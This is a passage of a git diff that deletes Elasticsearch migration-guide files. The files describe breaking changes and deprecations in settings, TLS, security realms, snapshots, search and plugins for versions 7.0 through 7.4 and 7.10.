diff --git a/docs/reference/migration/migrate_7_0/settings.asciidoc b/docs/reference/migration/migrate_7_0/settings.asciidoc
deleted file mode 100644
index 1a5227489c6..00000000000
--- a/docs/reference/migration/migrate_7_0/settings.asciidoc
+++ /dev/null
@@ -1,290 +0,0 @@
-[discrete]
-[[breaking_70_settings_changes]]
-=== Settings changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-[[default-node-name-now-hostname]]
-==== The default for `node.name` is now the hostname
-
-`node.name` now defaults to the hostname at the time when Elasticsearch
-is started. Previously the default node name was the first eight characters
-of the node id. It can still be configured explicitly in `elasticsearch.yml`.
-
-[discrete]
-==== Percolator
-
-* The deprecated `index.percolator.map_unmapped_fields_as_string` setting has been removed in favour of
-  the `index.percolator.map_unmapped_fields_as_text` setting.
-
-[discrete]
-==== Index thread pool
-
-* Internally, single-document index/delete/update requests are executed as bulk
-  requests with a single-document payload. This means that these requests are
-  executed on the bulk thread pool. As such, the indexing thread pool is no
-  longer needed and has been removed. As such, the  settings
-  `thread_pool.index.size` and `thread_pool.index.queue_size` have been removed.
-
-[discrete]
-[[write-thread-pool-fallback]]
-==== Write thread pool fallback
-
-* The bulk thread pool was replaced by the write thread pool in 6.3.0. However,
-  for backwards compatibility reasons the name `bulk` was still usable as fallback
-  settings `thread_pool.bulk.size` and `thread_pool.bulk.queue_size` for
-  `thread_pool.write.size` and `thread_pool.write.queue_size`, respectively, and
-  the system property `es.thread_pool.write.use_bulk_as_display_name` was
-  available to keep the display output in APIs as `bulk` instead of `write`.
-  These fallback settings and this system property have been removed.
-
-[discrete]
-==== Disabling memory-mapping
-
-* The setting `node.store.allow_mmapfs` has been renamed to `node.store.allow_mmap`.
-
-[discrete]
-[[remove-http-enabled]]
-==== Http enabled setting removed
-
-* The setting `http.enabled` previously allowed disabling binding to HTTP, only allowing
-use of the transport client. This setting has been removed, as the transport client
-will be removed in the future, thus requiring HTTP to always be enabled.
-
-[discrete]
-[[remove-http-pipelining-setting]]
-==== Http pipelining setting removed
-
-* The setting `http.pipelining` previously allowed disabling HTTP pipelining support.
-This setting has been removed, as disabling http pipelining support on the server
-provided little value. The setting `http.pipelining.max_events` can still be used to
-limit the number of pipelined requests in-flight.
-
-[discrete]
-==== Cross-cluster search settings renamed
-
-The cross-cluster search remote cluster connection infrastructure is also used
-in cross-cluster replication. This means that the setting names
-`search.remote.*` used for configuring cross-cluster search belie the fact that
-they also apply to other situations where a connection to a remote cluster as
-used.  Therefore, these settings have been renamed from `search.remote.*` to
-`cluster.remote.*`. For backwards compatibility purposes, we will fallback to
-`search.remote.*` if `cluster.remote.*` is not set. For any such settings stored
-in the cluster state, or set on dynamic settings updates, we will automatically
-upgrade the setting from `search.remote.*` to `cluster.remote.*`. The fallback
-settings will be removed in 8.0.0.
-
-[discrete]
-[[audit-logfile-local-node-info]]
-==== Audit logfile local node info
-
-The following settings have been removed:
-
-- `xpack.security.audit.logfile.prefix.emit_node_host_address`, instead use
-  `xpack.security.audit.logfile.emit_node_host_address`
-- `xpack.security.audit.logfile.prefix.emit_node_host_name`, instead use
-  `xpack.security.audit.logfile.emit_node_host_name`
-- `xpack.security.audit.logfile.prefix.emit_node_name`, instead use
-  `xpack.security.audit.logfile.emit_node_name`
-
-The new settings have the same meaning as the removed ones, but the `prefix`
-name component is no longer meaningful as logfile audit entries are structured
-JSON documents and are not prefixed by anything.
-Moreover, `xpack.security.audit.logfile.emit_node_name` has changed its default
-from `true` to `false`. All other settings mentioned before, have kept their
-default value of `false`.
-
-[discrete]
-[[include-realm-type-in-setting]]
-==== Security realms settings
-
-The settings for all security realms must now include the realm type as part
-of the setting name, and the explicit `type` setting has been removed.
-
-A realm that was previous configured as:
-[source,yaml]
---------------------------------------------------
-xpack.security.authc.realms:
-  ldap1:
-    type: ldap
-    order: 1
-    url: "ldaps://ldap.example.com/"
---------------------------------------------------
-
-Must be migrated to:
-[source,yaml]
---------------------------------------------------
-xpack.security.authc.realms:
-  ldap.ldap1:
-    order: 1
-    url: "ldaps://ldap.example.com/"
---------------------------------------------------
-
-Any realm specific secure settings that have been stored in the elasticsearch
-keystore (such as ldap bind passwords, or passwords for ssl keys) must be updated
-in a similar way.
-
-[discrete]
-[[tls-setting-fallback]]
-==== TLS/SSL settings
-
-The default TLS/SSL settings, which were prefixed by `xpack.ssl`, have been removed.
-The removal of these default settings also removes the ability for a component to
-fallback to a default configuration when using TLS. Each component (realm, transport, http,
-http client, etc) must now be configured with their own settings for TLS if it is being
-used.
-
-[discrete]
-[[tls-v1-removed]]
-==== TLS v1.0 disabled
-
-TLS version 1.0 is now disabled by default as it suffers from
-https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet#Rule_-_Only_Support_Strong_Protocols[known security issues].
-The default protocols are now TLSv1.3 (if supported), TLSv1.2 and TLSv1.1.
-
-You can enable TLS v1.0 by configuring the relevant `ssl.supported_protocols`
-setting to include `"TLSv1"`.
-Depending on your local configuration and the TLS protocols that are in use
-on your network, you may need to enable TLS v1.0 support in any or all of the
-following places:
-
-`xpack.security.http.ssl.supported_protocols`::
-For incoming HTTP connections to Elasticsearch's HTTP (Rest) interface.
-If there are clients that connect to {es} and do not support newer TLS versions,
-you must update this setting.
-
-`xpack.http.ssl.supported_protocols`::
-For outgoing HTTP connections from {watcher}.
-If you have watches that connect to external HTTP servers and do not support
-newer TLS versions, you must update this setting.
-
-`xpack.security.authc.realms.ldap.{name}.ssl.supported_protocols`::
-For outgoing LDAP connections from {es} {security-features}.
-If you have an LDAP realm enabled and the LDAP directory to which that realm
-connects does not support newer TLS versions, you must update this setting.
-
-`xpack.security.authc.realms.active_directory.{name}.ssl.supported_protocols`::
-For outgoing Active Directory (LDAP) connections from {es} {security-features}.
-If you have an AD realm enabled and the directory server to which that realm
-connects does not support newer TLS versions, you must update this setting.
-
-`xpack.security.authc.realms.saml.{name}.ssl.supported_protocols`::
-For outgoing HTTP connections to retrieve SAML metadata.
-If you have a SAML realm enabled and the realm is configured to retrieve
-metadata over HTTPS (that is, `idp.metadata.path` is a URL starting with
-`https://`) and the web server which hosts the metadata does not support newer
-TLS versions, you must update this setting.
-
-`xpack.security.authc.realms.oidc.{name}.ssl.supported_protocols`::
-For outgoing HTTP connections to an OpenId Connect Provider.
-If you have an OpenId Connect ("oidc") realm enabled and the realm is configured
-to connect to a remote OpenID Connect Provider which does not support newer TLS
-versions, you must update this setting.
-
-`xpack.monitoring.exporters.{name}.ssl.supported_protocols`::
-For remote monitoring data.
-If your monitoring data is exported to a remote monitoring cluster and that
-cluster is configured to only support TLSv1, you must update this setting.
-
-`reindex.ssl.supported_protocols`::
-For reindex from remote.
-If you reindex data from a remote {es} cluster which has SSL enabled on the
-`http` interface and that cluster is configured to only support TLSv1, you must
-update this setting.
-
-`xpack.security.transport.ssl.supported_protocols`::
-For incoming connections between {es} nodes. If you have specialized network
-equipment which inspects TLS packets between your nodes, and that equipment
-enforces TLSv1 you must update this setting.
-
-
-The following is an example that enables TLS v1.0 for incoming HTTP connections:
-[source,yaml]
---------------------------------------------------
-xpack.security.http.ssl.supported_protocols: [ "TLSv1.3", "TLSv1.2", "TLSv1.1", "TLSv1" ]
---------------------------------------------------
-
-[discrete]
-[[trial-explicit-security]]
-==== Security on Trial Licenses
-
-On trial licenses, `xpack.security.enabled` defaults to `false`.
-
-In prior versions, a trial license would automatically enable security if either
-
-* `xpack.security.transport.enabled` was `true`; _or_
-* the trial license was generated on a version of X-Pack from 6.2 or earlier.
-
-This behaviour has been now removed, so security is only enabled if:
-
-* `xpack.security.enabled` is `true`; _or_
-* `xpack.security.enabled` is not set, and a gold or platinum license is installed.
-
-[discrete]
-[[watcher-notifications-account-settings]]
-==== Watcher notifications account settings
-
-The following settings have been removed in favor of the secure variants.
-The <<secure-settings, secure settings>> have to be defined inside each cluster
-node's keystore, i.e., they are not to be specified via the cluster settings API.
-
-- `xpack.notification.email.account.<id>.smtp.password`, instead use
-`xpack.notification.email.account.<id>.smtp.secure_password`
-- `xpack.notification.hipchat.account.<id>.auth_token`, instead use
-`xpack.notification.hipchat.account.<id>.secure_auth_token`
-- `xpack.notification.jira.account.<id>.url`, instead use
-`xpack.notification.jira.account.<id>.secure_url`
-- `xpack.notification.jira.account.<id>.user`, instead use
-`xpack.notification.jira.account.<id>.secure_user`
-- `xpack.notification.jira.account.<id>.password`, instead use
-`xpack.notification.jira.account.<id>.secure_password`
-- `xpack.notification.pagerduty.account.<id>.service_api_key`, instead use
-`xpack.notification.pagerduty.account.<id>.secure_service_api_key`
-- `xpack.notification.slack.account.<id>.url`, instead use
-`xpack.notification.slack.account.<id>.secure_url`
-
-[discrete]
-[[remove-audit-index-output]]
-==== Audit index output type removed
-
-All the settings under the `xpack.security.audit.index` namespace have been
-removed. In addition, the `xpack.security.audit.outputs` setting has been
-removed as well.
-
-These settings enabled and configured the audit index output type. This output
-type has been removed because it was unreliable in certain scenarios and this
-could have lead to dropping audit events while the operations on the system
-were allowed to continue as usual. The recommended replacement is the
-use of the `logfile` audit output type and using other components from the
-Elastic Stack to handle the indexing part.
-
-[discrete]
-[[ingest-user-agent-ecs-always]]
-==== Ingest User Agent processor defaults uses `ecs` output format
-https://github.com/elastic/ecs[ECS] format is now the default.
-The `ecs` setting for the user agent ingest processor now defaults to true.
-
-[discrete]
-[[remove-action-master-force_local]]
-==== Remove `action.master.force_local`
-
-The `action.master.force_local` setting was an undocumented setting, used
-internally by the tribe node to force reads to local cluster state (instead of
-forwarding to a master, which tribe nodes did not have).  Since the tribe
-node was removed, this setting was removed too.
-
-[discrete]
-==== Enforce cluster-wide shard limit
-The cluster-wide shard limit is now enforced and not optional. The limit can
-still be adjusted as desired using the cluster settings API.
-
-[discrete]
-==== HTTP Max content length setting is no longer parsed leniently
-Previously, `http.max_content_length` would reset to `100mb` if the setting was
-greater than `Integer.MAX_VALUE`.  This leniency has been removed.
diff --git a/docs/reference/migration/migrate_7_0/snapshotstats.asciidoc b/docs/reference/migration/migrate_7_0/snapshotstats.asciidoc
deleted file mode 100644
index 5f181de7b72..00000000000
--- a/docs/reference/migration/migrate_7_0/snapshotstats.asciidoc
+++ /dev/null
@@ -1,23 +0,0 @@
-[discrete]
-[[breaking_70_snapshotstats_changes]]
-=== Snapshot stats changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-Snapshot stats details are provided in a new structured way:
-
-* `total` section for all the files that are referenced by the snapshot.
-* `incremental` section for those files that actually needed to be copied over as part of the incremental snapshotting.
-* In case of a snapshot that's still in progress, there's also a `processed` section for files that are in the process of being copied.
-
-[discrete]
-[[snapshot-stats-deprecated]]
-==== Deprecated `number_of_files`, `processed_files`, `total_size_in_bytes` and `processed_size_in_bytes` snapshot stats properties have been removed
-
-* Properties `number_of_files` and `total_size_in_bytes` are removed and should be replaced by values of nested object `total`.
-* Properties `processed_files` and `processed_size_in_bytes` are removed and should be replaced by values of nested object `processed`.
\ No newline at end of file
diff --git a/docs/reference/migration/migrate_7_0/suggesters.asciidoc b/docs/reference/migration/migrate_7_0/suggesters.asciidoc
deleted file mode 100644
index 49186686523..00000000000
--- a/docs/reference/migration/migrate_7_0/suggesters.asciidoc
+++ /dev/null
@@ -1,21 +0,0 @@
-[discrete]
-[[breaking_70_suggesters_changes]]
-=== Suggesters changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-==== Registration of suggesters in plugins has changed
-
-Plugins must now explicitly indicate the type of suggestion that they produce.
-
-[discrete]
-==== Phrase suggester now multiples alpha
-Previously, the laplace smoothing used by the phrase suggester added `alpha`,
-when it should instead multiply.  This behavior has been changed and will
-affect suggester scores.
diff --git a/docs/reference/migration/migrate_7_1.asciidoc b/docs/reference/migration/migrate_7_1.asciidoc
deleted file mode 100644
index 095fb724eae..00000000000
--- a/docs/reference/migration/migrate_7_1.asciidoc
+++ /dev/null
@@ -1,67 +0,0 @@
-[[breaking-changes-7.1]]
-== Breaking changes in 7.1
-++++
-<titleabbrev>7.1</titleabbrev>
-++++
-
-This section discusses the changes that you need to be aware of when migrating
-your application to Elasticsearch 7.1.
-
-See also <<release-highlights>> and <<es-release-notes>>.
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-[[breaking_71_http_changes]]
-=== HTTP changes
-
-[discrete]
-==== Deprecation of old HTTP settings
-
-The `http.tcp_no_delay` setting is deprecated in 7.1. It is replaced by
-`http.tcp.no_delay`.
-
-[discrete]
-[[breaking_71_network_changes]]
-=== Network changes
-
-[discrete]
-==== Deprecation of old network settings
-
-The `network.tcp.connect_timeout` setting is deprecated in 7.1. This setting
-was a fallback setting for `transport.connect_timeout`. To change the default
-connection timeout for client connections, modify `transport.connect_timeout`.
-
-[discrete]
-[[breaking_71_transport_changes]]
-=== Transport changes
-
-//tag::notable-breaking-changes[]
-[discrete]
-==== Deprecation of old transport settings
-
-The following settings are deprecated in 7.1. Each setting has a replacement
-setting that was introduced in 6.7.
-
-- `transport.tcp.port` is replaced by `transport.port`
-- `transport.tcp.compress` is replaced by `transport.compress`
-- `transport.tcp.connect_timeout` is replaced by `transport.connect_timeout`
-- `transport.tcp_no_delay` is replaced by `transport.tcp.no_delay`
-- `transport.profiles.profile_name.tcp_no_delay` is replaced by
-`transport.profiles.profile_name.tcp.no_delay`
-- `transport.profiles.profile_name.tcp_keep_alive` is replaced by
-`transport.profiles.profile_name.tcp.keep_alive`
-- `transport.profiles.profile_name.reuse_address` is replaced by
-`transport.profiles.profile_name.tcp.reuse_address`
-- `transport.profiles.profile_name.send_buffer_size` is replaced by `transport.profiles.profile_name.tcp.send_buffer_size`
-- `transport.profiles.profile_name.receive_buffer_size` is replaced by `transport.profiles.profile_name.tcp.receive_buffer_size`
-
-// end::notable-breaking-changes[]
-
-
-
diff --git a/docs/reference/migration/migrate_7_10.asciidoc b/docs/reference/migration/migrate_7_10.asciidoc
deleted file mode 100644
index 3d522114a21..00000000000
--- a/docs/reference/migration/migrate_7_10.asciidoc
+++ /dev/null
@@ -1,233 +0,0 @@
-[[migrating-7.10]]
-== Migrating to 7.10
-++++
-<titleabbrev>7.10</titleabbrev>
-++++
-
-This section discusses the changes that you need to be aware of when migrating
-your application to {es} 7.10.
-
-See also <<release-highlights>> and <<es-release-notes>>.
-
-// * <<breaking_710_blah_changes>>
-// * <<breaking_710_blah_changes>>
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-
-
-[discrete]
-[[breaking-changes-7.10]]
-=== Breaking changes
-
-The following changes in {es} 7.10 might affect your applications
-and prevent them from operating normally.
-Before upgrading to 7.10, review these changes and take the described steps
-to mitigate the impact.
-
-NOTE: Breaking changes introduced in minor versions are
-normally limited to security and bug fixes.
-Significant changes in behavior are deprecated in a minor release and
-the old behavior is supported until the next major release.
-To find out if you are using any deprecated functionality,
-enable <<deprecation-logging, deprecation logging>>.
-
-
-//tag::notable-breaking-changes[]
-
-[discrete]
-[[breaking_710_security_changes]]
-==== Authentication changes
-
-[[api-keys-require-name-property]]
-.API keys now require a `name` property.
-[%collapsible]
-====
-*Details* +
-The `name` property is now required to create or grant an API key.
-
-[source,js]
-----
-{
-    "...": "...",
-    "api_key": {
-      "name": "key-1"
-    }
-}
-----
-// NOTCONSOLE
-
-*Impact* +
-To avoid errors, specify the `name` property when creating or granting API keys.
-====
-
-[discrete]
-[[breaking_710_java_changes]]
-==== Java changes
-
-[[supplier-searchlookup-arg]]
-.The `MappedFieldType#fielddataBuilder` method now accepts a `Supplier<SearchLookup>` argument.
-[%collapsible]
-====
-*Details* +
-To support future feature development, the existing
-`MappedFieldType#fielddataBuilder` method now accepts a new
-`Supplier<SearchLookup>` argument.
-
-*Impact* +
-If you develop or maintain a mapper plugin, update your implementation of the
-`MappedFieldType#fielddataBuilder` method to accommodate the new signature.
-====
-
-[discrete]
-[[breaking_710_networking_changes]]
-==== Networking changes
-
-[keep-idle-and-keep-internal-limits]
-.The `*.tcp.keep_idle` and `*.tcp.keep_interval` settings are now limited to `300` seconds.
-[%collapsible]
-====
-*Details* +
-The `{network,transport,http}.tcp.keep_idle` and
-`{network,transport,http}.tcp.keep_interval` settings now have a maximum
-value of `300` seconds, equivalent to 5 minutes.
-
-*Impact* +
-If specified, ensure the `{network,transport,http}.tcp.keep_idle` and
-`{network,transport,http}.tcp.keep_interval` settings do not exceed `300`
-seconds. Setting `{network,transport,http}.tcp.keep_idle` or
-`{network,transport,http}.tcp.keep_interval` to a value greater than `300`
-seconds in `elasticsearch.yml` will result in an error on startup.
-====
-
-[discrete]
-[[breaking_710_search_changes]]
-==== Search changes
-
-[[max-doc-value-field-search-limits]]
-.The `index.max_docvalue_fields_search` setting now limits doc value fields returned by `inner_hits` or the `top_hits` aggregation.
-[%collapsible]
-====
-*Details* +
-The `index.max_docvalue_fields_search` setting limits the number of doc value
-fields retrieved by a search. Previously, this setting applied only to doc value
-fields returned by the `docvalue_fields` parameter in a top-level search. The
-setting now also applies to doc value fields returned by an `inner_hits` section
-or `top_hits` aggregation.
-
-*Impact* +
-If you use `inner_hits` or the `top_hits` aggregation, ensure
-`index.max_docvalue_fields_search` is configured correctly for your use case.
-====
-
-//end::notable-breaking-changes[]
-
-[discrete]
-[[deprecated-7.10]]
-=== Deprecations
-
-The following functionality has been deprecated in {es} 7.10
-and will be removed in 8.0
-While this won't have an immediate impact on your applications,
-we strongly encourage you take the described steps to update your code
-after upgrading to 7.10.
-
-NOTE: Significant changes in behavior are deprecated in a minor release and
-the old behavior is supported until the next major release.
-To find out if you are using any deprecated functionality,
-enable <<deprecation-logging, deprecation logging>>.
-
-[discrete]
-[[breaking_710_indices_changes]]
-==== Indices deprecations
-
-[[bc-deprecate-rest-api-access-to-system-indices]]
-.REST API access to system indices is deprecated.
-[%collapsible]
-====
-*Details* +
-We are deprecating REST API access to system indices. Most REST API requests
-that attempt to access system indices will return the following deprecation
-warning:
-
-[source,text]
-----
-this request accesses system indices: [.system_index_name], but in a future
-major version, direct access to system indices will be prevented by default
-----
-
-The following REST API endpoints access system indices as part of their
-implementation and will not return the deprecation warning:
-
-* `GET _cluster/health`
-* `GET {index}/_recovery`
-* `GET _cluster/allocation/explain`
-* `GET _cluster/state`
-* `POST _cluster/reroute`
-* `GET {index}/_stats`
-* `GET {index}/_segments`
-* `GET {index}/_shard_stores`
-* `GET _cat/[indices,aliases,health,recovery,shards,segments]`
-
-*Impact* +
-To avoid deprecation warnings, do not use unsupported REST APIs to access system
-indices.
-====
-
-[discrete]
-[[breaking_710_ml_changes]]
-==== Machine learning deprecations
-
-[[ml-allow-no-deprecations]]
-.The `allow_no_jobs` and `allow_no_datafeeds` API parameters are deprecated.
-[%collapsible]
-====
-*Details* +
-The `allow_no_jobs` and `allow_no_datafeeds` parameters in {ml} APIs are
-deprecated in favor of `allow_no_match`. The old parameters are still accepted
-by the APIs but a deprecation warning is emitted when the old parameter name is
-used in the request body or as a request parameter. High-level REST client
-classes now send the new `allow_no_match` parameter.
-
-*Impact* +
-To avoid deprecation warnings, use the `allow_no_match` parameter.
-====
-
-[discrete]
-[[breaking_710_mapping_changes]]
-==== Mapping deprecations
-
-[[mapping-boosts]]
-.The `boost` parameter on field mappings has been deprecated.
-[%collapsible]
-====
-*Details* +
-Index-time boosts have been deprecated since the 5.x line, but it is still possible
-to declare field-specific boosts in the mappings.  This is now deprecated as well,
-and will be removed entirely in 8.0.0.  Mappings containing field boosts will continue
-to work in 7.x but will emit a deprecation warning.
-
-*Impact* +
-The `boost` setting should be removed from templates and mappings. Use boosts
-directly on queries instead.
-====
-
-[discrete]
-[[breaking_710_snapshot_restore_changes]]
-==== Snapshot and restore deprecations
-
-[[respository-stats-api-deprecated]]
-.The repository stats API has been deprecated.
-[%collapsible]
-====
-*Details* +
-The repository stats API was introduced as an experimental API in 7.8.0. The
-{ref}/repositories-metering-apis.html[repositories metering APIs] now replace the
-repository stats API. The repository stats API has been deprecated and will be
-removed in 8.0.0.
-
-*Impact* +
-Use the {ref}/repositories-metering-apis.html[repositories metering APIs].
-Discontinue use of the repository stats API.
-====
diff --git a/docs/reference/migration/migrate_7_2.asciidoc b/docs/reference/migration/migrate_7_2.asciidoc
deleted file mode 100644
index a16a3db1870..00000000000
--- a/docs/reference/migration/migrate_7_2.asciidoc
+++ /dev/null
@@ -1,30 +0,0 @@
-[[breaking-changes-7.2]]
-== Breaking changes in 7.2
-++++
-<titleabbrev>7.2</titleabbrev>
-++++
-
-This section discusses the changes that you need to be aware of when migrating
-your application to Elasticsearch 7.2.
-
-See also <<release-highlights>> and <<es-release-notes>>.
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-[discrete]
-[[breaking_72_discovery_changes]]
-=== Discovery changes
-
-[discrete]
-==== Only a single port may be given for each seed host.
-
-In earlier versions you could include a range of ports in entries in the
-`discovery.seed_hosts` list, but {es} used only the first port in the range and
-unexpectedly ignored the rest.  For instance if you set `discovery.seed_hosts:
-"10.11.12.13:9300-9310"` then {es} would only use `10.11.12.13:9300` for
-discovery. Seed host addresses containing port ranges are now rejected.
-
-// end::notable-breaking-changes[]
\ No newline at end of file
diff --git a/docs/reference/migration/migrate_7_3.asciidoc b/docs/reference/migration/migrate_7_3.asciidoc
deleted file mode 100644
index 21e44da86ef..00000000000
--- a/docs/reference/migration/migrate_7_3.asciidoc
+++ /dev/null
@@ -1,80 +0,0 @@
-[[breaking-changes-7.3]]
-== Breaking changes in 7.3
-++++
-<titleabbrev>7.3</titleabbrev>
-++++
-
-This section discusses the changes that you need to be aware of when migrating
-your application to Elasticsearch 7.3.
-
-See also <<release-highlights>> and <<es-release-notes>>.
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-[discrete]
-[[breaking_73_api_changes]]
-=== API changes
-
-[discrete]
-==== {dataframe-transform-cap} API changes
-
-It is no longer possible to supply the `format` parameter when you define a
-`date_histogram` {dataframe-transform} pivot. Previously constructed transforms 
-will still run but the configured `format` will be ignored.
-
-[discrete]
-[[breaking_73_mapping_changes]]
-=== Mapping changes
-`dense_vector` field now requires `dims` parameter, specifying the number of
-dimensions for document and query vectors for this field.
-
-[discrete]
-==== Defining multi-fields within multi-fields
-
-Previously, it was possible to define a multi-field within a multi-field.
-Defining chained multi-fields is now deprecated and will no longer be supported
-in 8.0. To resolve the issue, all instances of `fields` that occur within a
-`fields` block should be removed from the mappings, either by flattening the
-chained `fields` blocks into a single level, or by switching to `copy_to` if
-appropriate.
-
-[discrete]
-[[breaking_73_plugin_changes]]
-=== Plugins changes
-
-[discrete]
-==== IndexStorePlugin changes
-
-IndexStore and DirectoryService have been replaced by a stateless and simple
-DirectoryFactory interface to create custom Lucene directory instances per shard.
-
-
-[discrete]
-[[breaking_73_search_changes]]
-=== Search changes
-
-[discrete]
-==== Deprecation of queries
-
-The `common` query has been deprecated. The same functionality can be achieved
-by the `match` query if the total number of hits is not tracked.
-
-[discrete]
-===== Deprecation of query parameters
-
-The `cutoff_frequency` parameter has been deprecated for `match` and `multi_match`
-queries. The same functionality can be achieved without any configuration provided
-that the total number of hits is not tracked.
-
-[discrete]
-[[breaking_73_ccr_changes]]
-=== CCR changes
-
-[discrete]
-==== Directly modifying aliases of follower indices is no longer allowed
-
-Aliases are now replicated to a follower from its leader, so directly modifying
-aliases on follower indices is no longer allowed.
-// end::notable-breaking-changes[]
\ No newline at end of file
diff --git a/docs/reference/migration/migrate_7_4.asciidoc b/docs/reference/migration/migrate_7_4.asciidoc
deleted file mode 100644
index 5a87ddd0c52..00000000000
--- a/docs/reference/migration/migrate_7_4.asciidoc
+++ /dev/null
@@ -1,208 +0,0 @@
-[[breaking-changes-7.4]]
-== Breaking changes in 7.4
-++++
-<titleabbrev>7.4</titleabbrev>
-++++
-
-This section discusses the changes that you need to be aware of when migrating
-your application to Elasticsearch 7.4.
-
-See also <<release-highlights>> and <<es-release-notes>>.
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-//end::notable-breaking-changes[]
-
-[discrete]
-[[breaking_74_plugin_changes]]
-=== Plugins changes
-
-[discrete]
-==== TokenizerFactory changes
-
-TokenizerFactory now has a `name()` method that must be implemented.  Most
-plugin-provided TokenizerFactory implementations will extend `AbstractTokenizerFactory`,
-which now takes a `name` parameter in its constructor.
-
-[discrete]
-[[breaking_74_search_changes]]
-=== Search Changes
-
-[discrete]
-==== Forbid empty doc values in vector functions
-If a document doesn't have a value for a vector field (dense_vector
-or sparse_vector) on which a vector function is executed, an error will
-be thrown.
-
-[discrete]
-==== Use float instead of double for query vectors
-Previously, vector functions like `cosineSimilarity` represented the query
-vector as an list of doubles. Now vector functions use floats, which matches
-how the stored document vectors are represented.
-
-[discrete]
-[[breaking_74_snapshots_changes]]
-=== Snapshot and Restore changes
-
-[discrete]
-==== The S3 repository plugin uses the DNS style access pattern by default
-
-Starting in version 7.4 the `repository-s3` plugin does not use the
-now-deprecated path-style access pattern by default. In versions 7.0, 7.1, 7.2
-and 7.3 the `repository-s3` plugin always used the path-style access pattern.
-This is a breaking change for deployments that only support path-style access
-but which are recognized as supporting DNS-style access by the AWS SDK. If your
-deployment only supports path-style access and is affected by this change then
-you must configure the S3 client setting `path_style_access` to `true`. This
-breaking change was made necessary by
-https://aws.amazon.com/blogs/aws/amazon-s3-path-deprecation-plan-the-rest-of-the-story/[AWS's
-announcement] that the path-style access pattern is deprecated and will be
-unsupported on buckets created after September 30th 2020.
-
-[discrete]
-[[breaking_74_http_changes]]
-=== HTTP changes
-
-[discrete]
-==== Changes to Encoding Plus Signs in URLs
-
-Starting in version 7.4, a `+` in a URL will be encoded as `%2B` by all REST API functionality. Prior versions handled a `+` as a single space.
-If your application requires handling `+` as a single space you can return to the old behaviour by setting the system property
-`es.rest.url_plus_as_space` to `true`. Note that this behaviour is deprecated and setting this system property to `true` will cease
-to be supported in version 8.
-
-[discrete]
-[[breaking_74_cluster_changes]]
-=== Cluster changes
-
-[discrete]
-==== Rerouting after starting a shard runs at lower priority
-
-After starting each shard the elected master node must perform a reroute to
-search for other shards that could be allocated. In particular, when creating
-an index it is this task that allocates the replicas once the primaries have
-started. In versions prior to 7.4 this task runs at priority `URGENT`, but
-starting in version 7.4 its priority is reduced to `NORMAL`. In a
-well-configured cluster this reduces the amount of work the master must do, but
-means that a cluster with a master that is overloaded with other tasks at
-`HIGH` or `URGENT` priority may take longer to allocate all replicas.
-
-Additionally, before 7.4 the `GET
-_cluster_health?wait_for_no_initializing_shards` and `GET
-_cluster/health?wait_for_no_relocating_shards` APIs would return only once all
-pending reroutes have completed too, but starting in version 7.4 if you want to
-wait for the rerouting process to completely finish you should add the
-`wait_for_events=languid` query parameter when calling these APIs.
-
-[discrete]
-[[breaking_74_allocation_changes]]
-=== Allocation changes
-
-[discrete]
-==== Auto-release of read-only-allow-delete block
-
-If a node exceeds the flood-stage disk watermark then {es} adds the
-`index.blocks.read_only_allow_delete` block to all of its indices to prevent
-further writes, as a last-resort attempt to prevent the node completely
-exhausting its disk space. In earlier versions this block would remain in place
-until manually removed, causing confusion for users who currently have ample
-disk space and who are not aware that they nearly ran out at some point in the
-past. From 7.4 onwards the block is automatically removed when the node drops
-below the high watermark again, with the expectation that the high watermark is
-some distance below the flood-stage watermark and therefore the disk space
-problem is truly resolved. Since this block may be automatically removed, you
-can no longer rely on adding this block manually to prevent writes to an index.
-You should use the `index.blocks.read_only` block instead. This behaviour can
-be disabled by setting the system property
-`es.disk.auto_release_flood_stage_block` to `false`.
-
-[discrete]
-[[breaking_74_settings_changes]]
-=== Settings changes
-
-[discrete]
-[[breaking_74_unique_realm_names]]
-==== Authentication realm name uniqueness is enforced
-
-Authentication realm name uniqueness is now enforced. If you configure more than one realm of any type
-with the same name, the node fails to start.
-
-[discrete]
-[[deprecate-pidfile]]
-==== `pidfile` setting is being replaced by `node.pidfile`
-
-To ensure that all settings are in a proper namespace, the `pidfile` setting is
-deprecated, and will be removed in version 8.0.0. Instead, use `node.pidfile`.
-
-[discrete]
-[[deprecate-processors]]
-==== `processors` setting is being replaced by `node.processors`
-
-To ensure that all settings are in a proper namespace, the `processors` setting
-is deprecated, and will be removed in version 8.0.0. Instead, use
-`node.processors`.
-
-[discrete]
-[[breaking_74_transform_changes]]
-=== {transform-cap} changes
-
-[discrete]
-[[transform_stats_format]]
-==== Stats response format changes
-
-The response format of the <<get-transform-stats>> is very different
-to previous versions:
-
-- `task_state` and `indexer_state` are combined into a single `state` field
-  that replaces the old `state` object.
-- Within the `checkpointing` object, `current` is renamed to `last` and
-  `in_progress` to `next`.
-- The `checkpoint` number is now nested under `last` and `next`.
-- `checkpoint_progress` is now reported in an object nested in the `next`
-  checkpoint object. (If there is no `next` checkpoint then no checkpoint is
-  in progress and by definition the `last` checkpoint is 100% complete.)
-
-For an example of the new format see <<get-transform-stats-example>>.
-
-[discrete]
-[[breaking_74_df_analytics_changes]]
-=== {dfanalytics-cap} changes
-
-[discrete]
-[[progress_reporting_change]]
-==== Changes to progress reporting
-
-The single integer `progress_percent` field at the top level of the
-{dfanalytics-job} stats is replaced by a `progress` field that is an array
